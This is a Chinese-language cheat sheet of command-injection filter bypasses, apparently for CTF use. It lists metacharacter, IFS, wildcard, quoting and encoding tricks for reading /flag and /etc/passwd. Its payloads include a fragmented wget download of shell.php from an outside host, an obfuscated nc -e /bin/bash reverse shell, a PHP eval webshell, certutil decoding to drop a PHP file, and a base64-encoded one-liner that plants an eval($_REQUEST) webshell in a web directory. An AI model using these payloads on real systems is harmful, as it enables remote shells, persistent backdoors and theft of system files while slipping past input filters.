命令执行bypass

` & || | $()
%0a 换行符
%0d 回车符
;  连续指令
a=l;b=s;$a$b 局部变量
curl `whoami`xxxx.xxx DNS管道解析

1>wget
1>xxx.com.
1>com
1>-O
1>she
1>ll.p
1>hp

hacked@sinfvnction$ touch echo '<?php eval($_POST[a])?>'>>2.php
hacked@sinfvnction$ ls > a
hacked@sinfvnction$ ls2.php      a      echo '<?php eval($_POST[a])?>'>>2.php
hacked@sinfvnction$ cat 2.php<?php eval($_POST[a])?>

/???/n? -e /???/b??h 127.0.0.1 6666
bin/nc -e /bin/bash 127.0.0.1 6666
/???/c?t /?t?/p??swd
*  代表『 0 个到无穷多个』任意字符
?  代表『一定有一个』任意字符
[ ]  同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符， 可能是 a, b, c, d 这四个任何一个』
[ - ]  若有减号在中括号内时，代表『在编码顺序内的所有字符』。例如 [0-9] 代表 0 到 9 之间的所有数字，因为数字的语系编码是连续的！
[^ ]  若中括号内的第一个字符为指数符号 (^) ，那表示『反向选择』，例如 [^abc] 代表 一定有一个字符，只要是非 a, b, c 的其他字符就接受的意思

cat fla[a-z]
cat fl[a]g
cat f``lag
c’a’t /f’la’g
cat fl??
cat f*
cat $(echo -n "base64加密的flag" | base64-d)
cat `echo -n "base64加密的flag" | base64-d`
cat /flag
head /`ls /|grep 'fla'
a=c;b=at;c=fl;d=ag;$a$b $c$d

root@kali$ cat
root@kali$ fl
root@kali$ ag
root@kali$ history
1.cat
2.fl
3.ag
root@kali$ !1!2!3
flag{ea3y_bypa3s_inj3ct1on}

cat${IFS}flag
cat$IFS$9flag
<
%09 (需要php环境)
``

%00 %20

cat$u /etc$u/passwd$u
/?in/cat /?tc/p?sswd
/'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd
/"b"i"n"/"w"h"i"c"h" "n"c
/bin/which nc

echo 48 65 6C 6C 6F 2C 57 6F 72 6C 64 21 >c.txt
生成 hex.txt，机器码对应的内容是 Hello World!
certutil -decodehex c.txt c.php
也可以base64解码
certutil -decode c.txt c.php

echo -e "x61">1.txt

`echo${IFS}"ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}-D|bash`